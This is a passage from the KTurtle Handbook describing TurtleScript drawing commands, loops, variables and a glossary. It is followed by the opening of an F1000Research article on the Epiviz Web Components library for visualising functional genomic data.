</table> Table 4.1: Types of questions Please note that $A$ and $B$ have to be numbers or variables that contain numbers. ### 4.3 Commands Using commands you tell the turtle or KTurtle to do something. Some commands need input, some give output. In this section we explain all the built-in commands of KTurtle. Alternatively, using **learn**, you can create your own commands. Built-in commands we discuss here are highlighted with dark blue. #### 4.3.1 Moving the turtle There are several commands to move the turtle over the screen. **forward (fw)** ```plaintext forward X ``` `forward` moves the turtle forward by the amount of X pixels. When the pen is down the turtle will leave a trail. **forward** can be abbreviated to **fw**. **backward (bw)** ```plaintext backward X ``` The KTurtle Handbook **backward** moves the turtle backward by the amount of X pixels. When the pen is down the turtle will leave a trail. **backward** can be abbreviated to **bw**. **turnleft (tl)** ```plaintext turnleft X ``` **turnleft** commands the turtle to turn an amount of X degrees to the left. **turnleft** can be abbreviated to **tl**. **turnright (tr)** ```plaintext turnright X ``` **turnright** the turtle to turn an amount of X degrees to the right. **turnright** can be abbreviated to **tr**. **direction (dir)** ```plaintext direction X ``` **direction** set the turtle’s direction to an amount of X degrees counting from zero, and thus is not relative to the turtle’s previous direction. **direction** can be abbreviated to **dir**. **getdirection** ```plaintext getdirection ``` **getdirection** returns the turtle’s direction as an amount of degrees counting from zero, where zero is the direction when the turtle is pointing upwards. **center** ```plaintext center ``` **center** moves the turtle to the center on the canvas. **go** ```plaintext go X,Y ``` **go** commands the turtle to go to a certain place on the canvas. This place is X pixels from the left of the canvas, and Y pixels from the top of the canvas. **gox** ```plaintext gox X ``` The KTurtle Handbook \texttt{gox} using this command the turtle will move to \( X \) pixels from the left of the canvas whilst staying at the same height. \texttt{gox} can be abbreviated to \texttt{gx}. \texttt{goy} \begin{verbatim} goy Y \end{verbatim} \texttt{goy} using this command the turtle will move to \( Y \) pixels from the top of the canvas whilst staying at the same distance from the left border of the canvas. \texttt{goy} can be abbreviated to \texttt{gy}. \begin{quote} \textbf{NOTE} Using the commands \texttt{go}, \texttt{gox}, \texttt{goy} and \texttt{center} the turtle will not draw a line, no matter if the pen is up or down. \end{quote} 4.3.2 Where is the turtle? There are two commands which return the position of the turtle on the screen. \texttt{getx} \begin{verbatim} getx \end{verbatim} \texttt{getx} returns the number of pixels from the left of the canvas to the current position of the turtle. \texttt{gety} \begin{verbatim} gety \end{verbatim} \texttt{gety} returns the number of pixels from the top of the canvas to the current position of the turtle. 4.3.3 The turtle has a pen The turtle has a pen that draws a line when the turtle moves. There are a few commands to control the pen. In this section we explain these commands. \texttt{penup (pu)} \begin{verbatim} penup \end{verbatim} \texttt{penup} lifts the pen from the canvas. When the pen is ‘up’ no line will be drawn when the turtle moves. See also \texttt{pendown}. \texttt{penup} can be abbreviated to \texttt{pu}. \texttt{pendown (pd)} \begin{verbatim} pendown \end{verbatim} \texttt{pendown} presses the pen down on the canvas. When the pen is press ‘down’ on the canvas a line will be drawn when the turtle moves. See also \texttt{penup}. \texttt{pendown} can be abbreviated to \texttt{pd}. 4.3.4 Commands to control the canvas There are several commands to control the canvas. **canvassize (cs)** ``` canvassize X,Y ``` With the `canvassize` command you can set the size of the canvas. It takes X and Y as input, where X is the new canvas width in pixels, and Y is the new height of the canvas in pixels. `canvassize` can be abbreviated to `cs`. **canvascolor (cc)** ``` canvascolor R,G,B ``` `canvascolor` set the color of the canvas. `canvascolor` takes an RGB combination as input. `canvascolor` can be abbreviated to `cc`. 4.3.5 Commands to clean up There are two commands to clean up the canvas after you have made a mess. **clear (ccl)** ``` clear ``` With `clear` you can clean all drawings from the canvas. All other things remain: the position and angle of the turtle, the canvascolor, the visibility of the turtle, and the canvas size. **reset** ``` reset ``` `reset` cleans much more thoroughly than the `clear` command. After a `reset` command everything is like it was when you had just started KTurtle. The turtle is positioned at the middle of the screen, the canvas color is white, the turtle draws a black line on the canvas and the canvassize is set to 400 x 400 pixels. 4.3.6 The turtle is a sprite First a brief explanation of what sprites are: sprites are small pictures that can be moved around the screen, like we often see in computer games. Our turtle is also a sprite. For more info see the glossary on sprites. Next you will find a full overview on all commands to work with sprites. **NOTE** The current version of KTurtle does not yet support the use of sprites other than the turtle. With future versions you will be able to change the turtle into something of your own design. **spriteshow (ss)** ```plaintext spriteshow ``` *spriteshow* makes the turtle visible again after it has been hidden. *spriteshow* can be abbreviated to *ss*. **spritehide (sh)** ```plaintext spritehide ``` *spritehide* hides the turtle. This can be used if the turtle does not fit in your drawing. *spritehide* can be abbreviated to *sh*. 4.3.7 Can the turtle write? The answer is: ‘yes’. The turtle can write: it writes just about everything you command it to. **print** ```plaintext print X ``` The *print* command is used to command the turtle to write something on the canvas. *print* takes numbers and strings as input. You can *print* various numbers and strings using the ‘+’ symbol. See here a small example: ``` $year = 2003 $author = "Cies" $year = 2003 print $author + " started the KTurtle project in " + $year + " and ← still enjoys working on it!" ``` **fontsize** ```plaintext fontsize X ``` *fontsize* sets the size of the font that is used by *print*. *fontsize* takes one input which should be a number. The size is set in pixels. 4.3.8 Mathematical commands The following commands are KTurtle’s more advanced mathematical commands. round round(x) round the given number to the nearest integer. print round(10.8) forward 20 print round(10.3) With this code the turtle will print the numbers 11 and 10. random (rnd) random X,Y random is a command that takes input and gives output. As input are required two numbers, the first (X) sets the minimum output, the second (Y) sets the maximum. The output is a randomly chosen number that is equal or greater than the minimum and equal or smaller than the maximum. Here a small example: repeat 500 { $x = random 1,20 forward $x turnleft 10 - $x } Using the random command you can add a bit of chaos to your program. mod mod X,Y The mod returns remainder of the division of first number by the second number. sqrt sqrt X The sqrt command is sued to find the square root of a number, X. pi pi This command returns the constant Pi, 3.14159. The KTurtle Handbook **sin, cos, tan** \[ \begin{align*} \text{sin} & \; X \\ \text{cos} & \; X \\ \text{tan} & \; X \end{align*} \] These three commands represent the world famous trigonometrical functions sin, cos and tan. The input argument of these commands, X, is a number. **arcsin, arccos, arctan** \[ \begin{align*} \text{arcsin} & \; X \\ \text{arccos} & \; X \\ \text{arctan} & \; X \end{align*} \] These commands are the inverse functions of sin, cos and tan. The input argument of these commands, X, is a number. ### 4.3.9 Input and feedback through dialogs A dialog is a small pop-up window that provides some feedback or asks for some input. KTurtle has two commands for dialogs, namely: message and ask **message** \[ \text{message} \; X \] The message command takes a string as input. It shows a pop-up dialog containing the text from the string. ```plaintext message "Cies started KTurtle in 2003 and still enjoys working on it!" ``` **ask** \[ \text{ask} \; X \] ask takes a string as input. It shows this string in a pop-up dialog (similar to message), along with an input field. After the user has entered a number or a string into this, the result can be stored in a variable or passed as an argument to a command. For example: ```plaintext $in = \text{ask} \; "\text{What is your year of birth?}" $out = 2003 - \$in print "In 2003 you were $out years old at some point." ``` If the user cancels the input dialog, or does not enter anything at all, the variable is empty. 4.4 Assignment of variables First we have a look at variables, then we look at assigning values to those variables. Variables are words that start with a '$', in the editor they are highlighted with purple. Variables can contain any number, string or boolean (true/false) value. Using the assignment, =, a variable is given its content. It will keep that content until the program finishes executing or until the variable is reassigned to something else. You can use variables, once assigned, just as if they are their content. For instance in the following piece of TurtleScript: ```turtle $x = 10 $x = $x / 3 print $x ``` First the variable $x is assigned to 10. Then $x is reassigned to itself divided by 3 — this effectively means $x is reassigned to product of 10 / 3. Finally $x is printed. In line two and three you see that $x is used as if it is its contents. Variables have to be assigned in order to be used. For example: ```turtle print $n ``` Will result in an error message. Please consider the following piece of TurtleScript: ```turtle $a = 2004 $b = 25 # the next command prints "2029" print $a + $b backward 30 # the next command prints "2004 plus 25 equals 2029" print "$a plus "$b "equals " + ($a + $b) ``` In the first two lines the variables $a and $b are set to 2004 and 25. Then in two print commands with a backward 30 in between are executed. The comments before the print commands explain what they are doing. The command backward 30 is there to make sure every output is on a new line. As you see variables can be used just as if their where what they contain, you can use them with any kind of operators or give them as input when invoking commands. One more example: ```turtle $name = ask "What is your name?" print "Hi " + $name + "! Good luck while learning the art of programming..." ``` Pretty straight forward. Again you can see that the variable $name, treated just like a string. When using variables the inspector is very helpful. It shows you the contents of all variables that are currently in use. 4.5 Controlling execution The execution controllers enable you — as their name implies — to control execution. Execution controlling commands are highlighted with dark green in a bold font type. The brackets are mostly used together with execution controllers and they are highlighted with black. 4.5.1 Have the turtle wait If you have done some programming in KTurtle you have might noticed that the turtle can be very quick at drawing. This command makes the turtle wait for a given amount of time. **wait** ```kturtle wait X ``` *wait* makes the turtle wait for X seconds. ```kturtle repeat 36 { forward 5 turnright 10 wait 0.5 } ``` This code draws a circle, but the turtle will wait half a second after each step. This gives the impression of a slow-moving turtle. 4.5.2 Execute ‘if’ **if** ```kturtle if boolean { ... } ``` The code that is placed between the brackets will only be executed if the boolean value evaluates ‘true’. ```kturtle $x = 6 if $x > 5 { print "$x is greater than five!" } ``` On the first line $x$ is set to 6. On the second line a comparing operator is used to evaluate $x > 5$. Since this evaluates ‘true’, 6 is larger than 5, the execution controller *if* will allow the code between the brackets to be executed. 4.5.3 If not, in other words: ‘else’ **else** ```kturtle if boolean { ... } else { ... } ``` *else* can be used in addition to the execution controller *if*. The code between the brackets after *else* is only executed if the boolean evaluates ‘false’. ```kturtle reset $x = 4 if $x > 5 { print "$x is greater than five!" } else { print "$x is smaller than six!" } ``` The *comparing operator* evaluates the expression $x > 5$. Since 4 is not greater than 5 the expression evaluates ‘false’. This means the code between the brackets after *else* gets executed. 4.5.4 The ‘while’ loop ``` while boolean { ... } ``` The execution controller `while` is a lot like `if`. The difference is that `while` keeps repeating (looping) the code between the brackets until the `boolean` evaluates ‘false’. ``` $x = 1 while $x < 5 { forward 10 wait 1 $x = $x + 1 } ``` On the first line `$x` is set to 1. On the second line `$x < 5` is evaluated. Since the answer to this question is ‘true’ the execution controller `while` starts executing the code between the brackets until the `$x < 5` evaluates ‘false’. In this case the code between the brackets will be executed 4 times, because every time the fifth line is executed `$x` increases by 1. 4.5.5 The ‘repeat’ loop ``` repeat number { ... } ``` The execution controller `repeat` is a lot like `while`. The difference is that `repeat` keeps repeating (looping) the code between the brackets for as many times as the given number. 4.5.6 The ‘for’ loop, a counting loop ``` for variable = number to number { ... } ``` The `for` loop is a ‘counting loop’, i.e. it keeps count for you. The first number sets the variable to the value in the first loop. Every loop the number is increased until the second number is reached. ``` for $x = 1 to 10 { print $x * 7 forward 15 } ``` Every time the code between the brackets is executed the `$x` is increased by 1, until `$x` reaches the value of 10. The code between the brackets prints the `$x` multiplied by 7. After this program finishes its execution you will see the times table of 7 on the canvas. The default step size of a loop is 1, you can use an other value with ``` for variable = number to number step number { ... } ``` 4.5.7 Leave a loop break Terminates the current loop immediately and transfers control to the statement immediately following that loop. 4.5.8 Stop executing your program exit Finishes the execution of your program. 4.5.9 Checking assertions at runtime assert Can be used to reason about program or input correctness. ``` $in = ask "What is your year of birth?" # the year must be positive assert $in > 0 ``` 4.6 Create your own commands with ‘learn’ learn is special as it is used to create your own commands. The commands you create can take input and return output. Let us take a look at how a new command is created: ``` learn circle $x { repeat 36 { forward $x turnleft 10 } } ``` The new command is called circle. circle takes one input argument, to set the size of the circle. circle returns no output. The circle command can now be used like a normal command in the rest of the code. See this example: In the next example, a command with a return value is created. ```plaintext learn faculty $x { $r = 1 for $i = 1 to $x { $r = $r * $i } return $r } print faculty 5 ``` In this example a new command called `faculty` is created. If the input of this command is 5 then the output is $5*4*3*2*1$. By using `return` the output value is specified and the execution is returned. Commands can have more than one input. In the next example, a command that draws a rectangle is created: ```plaintext learn box $x, $y { forward $y turnright 90 forward $x turnright 90 forward $y turnright 90 forward $x turnright 90 } ``` Now you can run `box 50, 100` and the turtle will draw a rectangle on the canvas. Chapter 5 Glossary In this chapter you will find an explanation of most of the ‘uncommon’ words that are used in the handbook. degrees Degrees are units to measure angles or turns. A full turn is 360 degrees, a half turn 180 degrees and a quarter turn 90 degrees. The commands `turnleft`, `turnright` and `direction` need an input in degrees. input and output of commands Some commands take input, some commands give output, some commands take input and give output and some commands neither take input nor give output. Some examples of commands that only take input are: ```plaintext forward 50 pencolor 255,0,0 print "Hello!" ``` The `forward` command takes 50 as input. `forward` needs this input to know how many pixels it should go forward. `pencolor` takes a color as input and `print` takes a string (a piece of text) as input. Please note that the input can also be a container. The next example illustrates this: ```plaintext $x = 50 print $x forward 50 $str = "hello!" print $str ``` Now some examples of commands that give output: ```plaintext $y = ask "Please type something and press OK... thanks!" $r = random 1,100 ``` The `ask` command takes a string as input, and outputs the number or string that is entered. As you can see, the output of `ask` is stored in the container $x. The `random` command also gives output. In this case it outputs a number between 1 and 100. The output of the random is again stored in a container, named $r. Note that the containers $x and $r are not used in the example code above. There are also commands that neither need input nor give output. Here are some examples: intuitive highlighting This is a feature of KTurtle that makes coding even easier. With intuitive highlighting the code that you write gets a color that indicates what type of code it is. In the next list you will find the different types of code and the color they get in the editor. <table> <thead> <tr> <th>Type of Code</th> <th>Color</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>regular commands</td> <td>dark blue</td> <td>The regular commands are described <a href="#">here</a>.</td> </tr> <tr> <td>execution controlling commands</td> <td>black (bold)</td> <td>These special commands control execution, read more on them <a href="#">here</a>.</td> </tr> <tr> <td>comments</td> <td>gray</td> <td>Lines that are commented start with a comment character (#). These lines are ignored when the code is executed. Comments allow the programmer to explain a bit about his code or can be used to temporarily prevent a certain piece of code from executing.</td> </tr> <tr> <td>brackets {, }</td> <td>dark green (bold)</td> <td>Brackets are used to group portions of code. Brackets are often used together with execution controllers.</td> </tr> <tr> <td>the learn command</td> <td>light green (bold)</td> <td>The learn command is used to create new commands.</td> </tr> <tr> <td>strings</td> <td>red</td> <td>Not much to say about (text) strings either, except that they always start and end with the double quotes (&quot;').</td> </tr> <tr> <td>numbers</td> <td>dark red</td> <td>Numbers, well not much to say about them.</td> </tr> <tr> <td>boolean values</td> <td>dark red</td> <td>There are exactly two boolean values, namely: true and false.</td> </tr> <tr> <td>variables</td> <td>purple</td> <td>Start with a <code>$</code> and can contain numbers, strings or boolean values.</td> </tr> <tr> <td>mathematical operators</td> <td>gray</td> <td>These are the mathematical operators: +, -, *, / and *.</td> </tr> <tr> <td>comparison operators</td> <td>light blue (bold)</td> <td>These are the comparison operators: ==, !=, &lt;, &gt;, &lt;= and &gt;=.</td> </tr> </tbody> </table> boolean operators These are the boolean operators: **and**, **or** and **not**. <table> <thead> <tr> <th>boolean operators</th> <th>pink (bold)</th> <th>These are the boolean operators: <strong>and</strong>, <strong>or</strong> and <strong>not</strong></th> </tr> </thead> <tbody> <tr> <td>regular text</td> <td>black</td> <td></td> </tr> </tbody> </table> Table 5.1: Different types of code and their highlight color pixels A pixel is a dot on the screen. If you look very close you will see that the screen of your monitor uses pixels. All images on the screen are built with these pixels. A pixel is the smallest thing that can be drawn on the screen. A lot of commands need a number of pixels as input. These commands are: **forward**, **backward**, **go**, **gox**, **goy**, **canvassize** and **penwidth**. In early versions of KTurtle the canvas was essentially a raster image, yet for recent versions the canvas is a vector drawing. This means that the canvas can be zoomed in and out, therefore a pixel does not necessarily have to translate to one dot on the screen. RGB combinations (color codes) RGB combinations are used to describe colors. The ‘R’ stand for ‘red’, the ‘G’ stands for ‘green’ and the ‘B’ stands for ‘blue’. An example of an RGB combination is **255, 0, 0**: the first value (‘red’) is 255 and the others are 0, so this represents a bright shade of red. Each value of an RGB combination has to be in the range 0 to 255. Here a small list of some often used colors: <table> <thead> <tr> <th>RGB combination</th> <th>Color</th> </tr> </thead> <tbody> <tr> <td>0, 0, 0</td> <td>black</td> </tr> <tr> <td>255, 255, 255</td> <td>white</td> </tr> <tr> <td>255, 0, 0</td> <td>red</td> </tr> <tr> <td>150, 0, 0</td> <td>dark red</td> </tr> <tr> <td>0, 255, 0</td> <td>green</td> </tr> <tr> <td>0, 0, 255</td> <td>blue</td> </tr> <tr> <td>0, 255, 255</td> <td>light blue</td> </tr> <tr> <td>255, 0, 255</td> <td>pink</td> </tr> <tr> <td>255, 255, 0</td> <td>yellow</td> </tr> </tbody> </table> Table 5.2: Often used RGB combinations Two commands need an RGB combination as input: these commands are **canvascolor** and **pencolor**. sprite A sprite is a small picture that can be moved around the screen. Our beloved turtle, for instance, is a sprite. **NOTE** With this version of KTurtle the sprite cannot be changed from a turtle into something else. Future versions of KTurtle will be able to do this. Chapter 6 Translator’s Guide to KTurtle As you probably already know KTurtle’s programming language, TurtleScript, allows to be translated. This takes away a barrier for some, especially younger students, on their effort to understand the basics of programming. When translating KTurtle to a new language you will find, in addition to the GUI strings, the programming commands, the examples and the error messages are included in the standard .pot files as used for translation in KDE. Everything is translated using the regular translation method found in KDE, yet you are strongly advised to learn a little on how to translate these (as you will also read in the translator comments). Please look at https://edu.kde.org/kturtle/translation.php for more information about the translation process. Thanks a lot for your work! KTurtle depends heavily on its translations. Chapter 7 Credits and License KTurtle Software copyright 2003-2007 Cies Breijs cies AT kde DOT nl • Cies Breijs cies AT kde DOT nl • Anne-Marie Mahfouf annma@kde.org • Some proofreading changes by Philip Rodrigues phil@kde.org • Updated translation how-to and some proofreading changes by Andrew Coles andrew_coles AT yahoo DOT co DOT uk This documentation is licensed under the terms of the GNU Free Documentation License. This program is licensed under the terms of the GNU General Public License. # Chapter 8 ## Index <table> <thead> <tr> <th>A</th> <th>and, 20</th> </tr> </thead> <tbody> <tr> <td></td> <td>arccos, 28</td> </tr> <tr> <td></td> <td>arcsin, 28</td> </tr> <tr> <td></td> <td>arctan, 28</td> </tr> <tr> <td></td> <td>ask, 28</td> </tr> <tr> <td></td> <td>assert, 32</td> </tr> <tr> <td>B</td> <td>backward (bw), 22</td> </tr> <tr> <td></td> <td>break, 32</td> </tr> <tr> <td>C</td> <td>canvascolor (cc), 25</td> </tr> <tr> <td></td> <td>canvassize (cs), 25</td> </tr> <tr> <td></td> <td>center, 23</td> </tr> <tr> <td></td> <td>clear (ccl), 25</td> </tr> <tr> <td></td> <td>cos, 28</td> </tr> <tr> <td>D</td> <td>direction (dir), 23</td> </tr> <tr> <td>E</td> <td>else, 30</td> </tr> <tr> <td></td> <td>exit, 32</td> </tr> <tr> <td>F</td> <td>false, 19</td> </tr> <tr> <td></td> <td>fontsize, 26</td> </tr> <tr> <td></td> <td>for, 31</td> </tr> <tr> <td></td> <td>forward (fw), 22</td> </tr> <tr> <td>G</td> <td>getdirection, 23</td> </tr> <tr> <td></td> <td>gettext, 24</td> </tr> <tr> <td></td> <td>gety, 24</td> </tr> <tr> <td></td> <td>go, 23</td> </tr> <tr> <td></td> <td>gox (gx), 23</td> </tr> <tr> <td></td> <td>goy (gy), 24</td> </tr> <tr> <td>I</td> <td>if, 30</td> </tr> <tr> <td>L</td> <td>learn, 32</td> </tr> <tr> <td>M</td> <td>message, 28</td> </tr> <tr> <td></td> <td>mod, 27</td> </tr> <tr> <td>N</td> <td>not, 20</td> </tr> <tr> <td>O</td> <td>or, 20</td> </tr> <tr> <td>P</td> <td>pencolor (pc), 25</td> </tr> <tr> <td></td> <td>pendown (pd), 24</td> </tr> <tr> <td></td> <td>penup (pu), 24</td> </tr> <tr> <td></td> <td>penwidth (pw), 25</td> </tr> <tr> <td></td> <td>pi, 27</td> </tr> <tr> <td></td> <td>print, 26</td> </tr> <tr> <td>R</td> <td>random (rnd), 27</td> </tr> <tr> <td></td> <td>repeat, 31</td> </tr> <tr> <td></td> <td>reset, 25</td> </tr> <tr> <td></td> <td>return, 33</td> </tr> <tr> <td></td> <td>round, 27</td> </tr> <tr> <td>S</td> <td>sin, 28</td> </tr> <tr> <td></td> <td>spritehide (sh), 26</td> </tr> <tr> <td></td> <td>spriteshow (ss), 26</td> </tr> <tr> <td></td> <td>sqrt, 27</td> </tr> <tr> <td></td> <td>step, 31</td> </tr> <tr> <td>T</td> <td>tan, 28</td> </tr> <tr> <td></td> <td>to, 31</td> </tr> <tr> <td></td> <td>true, 19</td> </tr> <tr> <td></td> <td>turnleft (tl), 23</td> </tr> <tr> <td></td> <td>turnright (tr), 23</td> </tr> <tr> <td>W</td> <td>wait, 30</td> </tr> <tr> <td></td> <td>while, 31</td> </tr> </tbody> </table>
{"Source-Url": "https://docs.kde.org/trunk5/en/kturtle/kturtle/kturtle.pdf", "len_cl100k_base": 14289, "olmocr-version": "0.1.53", "pdf-total-pages": 39, "total-fallback-pages": 0, "total-input-tokens": 75364, "total-output-tokens": 15756, "length": "2e13", "weborganizer": {"__label__adult": 0.0003533363342285156, "__label__art_design": 0.0006356239318847656, "__label__crime_law": 0.00017392635345458984, "__label__education_jobs": 0.004985809326171875, "__label__entertainment": 0.0001308917999267578, "__label__fashion_beauty": 0.00012445449829101562, "__label__finance_business": 0.0002033710479736328, "__label__food_dining": 0.0003380775451660156, "__label__games": 0.0010738372802734375, "__label__hardware": 0.0008902549743652344, "__label__health": 0.00018036365509033203, "__label__history": 0.00017571449279785156, "__label__home_hobbies": 0.00013554096221923828, "__label__industrial": 0.00025963783264160156, "__label__literature": 0.00033855438232421875, "__label__politics": 0.00013375282287597656, "__label__religion": 0.0005016326904296875, "__label__science_tech": 0.0029144287109375, "__label__social_life": 0.0001456737518310547, "__label__software": 0.0205078125, "__label__software_dev": 0.96533203125, "__label__sports_fitness": 0.00019180774688720703, "__label__transportation": 0.0002932548522949219, "__label__travel": 0.00015103816986083984}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 53441, 0.03995]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 53441, 0.78107]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 53441, 0.86403]], "google_gemma-3-12b-it_contains_pii": [[0, 73, false], [73, 94, null], [94, 1585, null], [1585, 3951, null], [3951, 4228, null], [4228, 4528, null], [4528, 6739, null], [6739, 7399, null], [7399, 8693, null], [8693, 10290, null], [10290, 11293, null], [11293, 12441, null], [12441, 13858, null], [13858, 15083, null], [15083, 15999, null], [15999, 17794, null], [17794, 19644, null], [19644, 21798, null], [21798, 24570, null], [24570, 26448, null], [26448, 27437, null], [27437, 29076, null], [29076, 30367, null], [30367, 32181, null], [32181, 33395, null], [33395, 34982, null], [34982, 35964, null], [35964, 37474, null], [37474, 39829, null], [39829, 41367, null], [41367, 43053, null], [43053, 44000, null], [44000, 44726, null], [44726, 46357, null], [46357, 48514, null], [48514, 50824, null], [50824, 51699, null], [51699, 52244, null], [52244, 53441, null]], "google_gemma-3-12b-it_is_public_document": [[0, 73, true], [73, 94, null], [94, 1585, null], [1585, 3951, null], [3951, 4228, null], [4228, 4528, null], [4528, 6739, null], [6739, 7399, null], [7399, 8693, null], [8693, 10290, null], [10290, 11293, null], [11293, 12441, null], [12441, 13858, null], [13858, 15083, null], [15083, 15999, null], [15999, 17794, null], [17794, 19644, null], [19644, 21798, null], [21798, 24570, null], [24570, 26448, null], [26448, 27437, null], [27437, 29076, null], [29076, 30367, null], [30367, 32181, null], [32181, 33395, null], [33395, 34982, null], [34982, 35964, null], [35964, 37474, null], [37474, 39829, null], [39829, 41367, null], [41367, 43053, null], [43053, 44000, null], [44000, 44726, null], [44726, 46357, null], [46357, 48514, null], [48514, 50824, null], [50824, 51699, null], [51699, 52244, null], [52244, 53441, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 53441, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, true], [5000, 53441, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 53441, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 53441, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 53441, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 53441, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 53441, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 53441, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 53441, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, true], [5000, 53441, null]], "pdf_page_numbers": [[0, 73, 1], [73, 94, 2], [94, 1585, 3], [1585, 3951, 4], [3951, 4228, 5], [4228, 4528, 6], [4528, 6739, 7], [6739, 7399, 8], [7399, 8693, 9], [8693, 10290, 10], [10290, 11293, 11], [11293, 12441, 12], [12441, 13858, 13], [13858, 15083, 14], [15083, 15999, 15], [15999, 17794, 16], [17794, 19644, 17], [19644, 21798, 18], [21798, 24570, 19], [24570, 26448, 20], [26448, 27437, 21], [27437, 29076, 22], [29076, 30367, 23], [30367, 32181, 24], [32181, 33395, 25], [33395, 34982, 26], [34982, 35964, 27], [35964, 37474, 28], [37474, 39829, 29], [39829, 41367, 30], [41367, 43053, 31], [43053, 44000, 32], [44000, 44726, 33], [44726, 46357, 34], [46357, 48514, 35], [48514, 50824, 36], [50824, 51699, 37], [51699, 52244, 38], [52244, 53441, 39]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 53441, 0.10202]]}
olmocr_science_pdfs
2024-12-09
2024-12-09
43c1bb918da68650544bd224cab3ed4ca3a0250b
Epiviz Web Components: reusable and extensible component library to visualize functional genomic datasets [version 1; peer review: 1 approved, 2 approved with reservations] Jayaram Kancherla¹,², Alexander Zhang³, Brian Gottfried³, Hector Corrada Bravo¹-³ ¹Center for Bioinformatics and Computational Biology, University of Maryland, College Park, College Park, Maryland, 20742, USA ²University of Maryland Institute of Advanced Computer Studies, University of Maryland, College Park, College Park, Maryland, 20742, USA ³Department of Computer Science, University of Maryland, College Park, College Park, Maryland, 20742, USA Abstract Interactive and integrative data visualization tools and libraries are integral to exploration and analysis of genomic data. Web based genome browsers allow integrative data exploration of a large number of data sets for a specific region in the genome. Currently available web-based genome browsers are developed for specific use cases and datasets, therefore integration and extensibility of the visualizations and the underlying libraries from these tools is a challenging task. Genomic data visualization and software libraries that enable bioinformatic researchers and developers to implement customized genomic data viewers and data analyses for their application are much needed. Using recent advances in core web platform APIs and technologies including Web Components, we developed the Epiviz Component Library, a reusable and extensible data visualization library and application framework for genomic data. Epiviz Components can be integrated with most JavaScript libraries and frameworks designed for HTML. To demonstrate the ease of integration with other frameworks, we developed an R/Bioconductor epivizrChart package, that provides interactive, shareable and reproducible visualizations of genomic data objects in R, Shiny and also create standalone HTML documents. The component library is modular by design, reusable and natively extensible and therefore simplifies the process of managing and developing bioinformatic applications. Keywords genomics, visualization, epigenetics, bioinformatics, web components This article is included in the Bioconductor gateway. Corresponding author: Hector Corrada Bravo (hcorrada@umiacs.umd.edu) Author roles: Kancherla J: Software, Supervision, Writing – Original Draft Preparation; Zhang A: Software; Gottfried B: Software; Bravo HC: Conceptualization, Supervision, Writing – Review & Editing Competing interests: No competing interests were disclosed. Grant information: This work was supported by the grant funded by the National Institutes of Health [R01GM114267]. The funders had no role in study design, data collection and analysis, decision to publish, or preparation of the manuscript. Copyright: © 2018 Kancherla J et al. This is an open access article distributed under the terms of the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original work is properly cited. How to cite this article: Kancherla J, Zhang A, Gottfried B and Bravo HC. Epiviz Web Components: reusable and extensible component library to visualize functional genomic datasets [version 1; peer review: 1 approved, 2 approved with reservations] F1000Research 2018, 7:1096 (https://doi.org/10.12688/f1000research.15433.1) **Introduction** The complex and diverse genomic data sets require flexible software libraries and tools to perform integrative data exploration and analyses. Web-based genome browsers and genomic data visualization tools like the UCSC Genome Browser\(^1\) and the Integrated Genomics Viewer\(^2\) are developed for specific use cases i.e., integrative data exploration of a large number of data sets for a region in the genome. Genomic exploration of data on these platforms is usually track-based, where the data is aligned to a reference genome and visualized as a line track. Since these tools are developed for specific use cases, integration and extensibility of these visualizations and libraries is a challenging task. The Web as a platform has been used to serve static HTML documents traditionally. The implementation of HTML5 and the newer APIs made the Web more of a platform that supports rich and dynamic web applications. But HTML is still restrictive and limited to the tags/elements defined as part of the markup language and is not extensible. Various existing frameworks like Vue.js and React have introduced modular components, but components built for one framework do not work with another framework. Newer web platform APIs and technologies like Web Components introduced a standards-based component model that allows developers to create custom HTML elements that are natively extensible and reusable. Custom components work across modern web browsers and can be used along with most JavaScript libraries or frameworks designed for HTML. Web Components provide the ability to natively extend, import and encapsulate HTML elements. This makes the process of creating and managing web applications easier and a much smoother process. These components are modular, making the code cleaner and less expensive to maintain compared to JavaScript libraries and frameworks like BioJs\(^3\). We present the Epiviz Component Library, an open source reusable and extensible data visualization library and application framework for functional genomic data. Building upon the Web Component framework, we developed various HTML elements/tags as part of our design as shown in Figure 1. The visualization components (**epiviz-charts**) are the core of the library and render extensible and interactive track and feature-based charts. In addition to the chart library, we developed components for creating interactive genomic applications for different use cases and datasets. These include **app components** (**epiviz-navigation** and **epiviz-environment**) to coordinate interactions (linking data across visualizations to implement brushing and events) and manage layouts, **datasource components** including **epiviz-data-source**. --- **Figure 1. Overview of Epiviz web components architecture.** The epiviz web components architecture is organized into three categories: 1) **visualization components** is a library of extensible and interactive D3JS based chart components specifically designed for genomic data; 2) **app components** are responsible for managing the layouts, events arising from genomic coordinate navigation, linking data across visualization components to implement brushing and coordinating data requests across multiple charts; 3) **datasource components** manage requests to web server or WebSocket connections using the **epiviz-data-source** component. **epiviz-workspace** handles user authentication and saves the state of the app to a google firebase instance allowing users to create shareable and reproducible visual analytics workspaces. to manage data requests from a web server or WebSocket backend and *epiviz-workspace* for handling user authentication and to create shareable and reproducible visual analytical workspaces. The design of the component library is based on visualizations and features of the Epiviz\textsuperscript{1} web application for visual exploration and analysis of functional genomic data. Bioconductor\textsuperscript{2} is an open source community that develops bioinformatics software tools and pipelines. Ease of developing integrative analyses and a framework for interactive visualizations is one of the core infrastructure needs of the Bioconductor community. Since the web components introduced in this paper can be easily embedded or integrated with any web-based application, the library 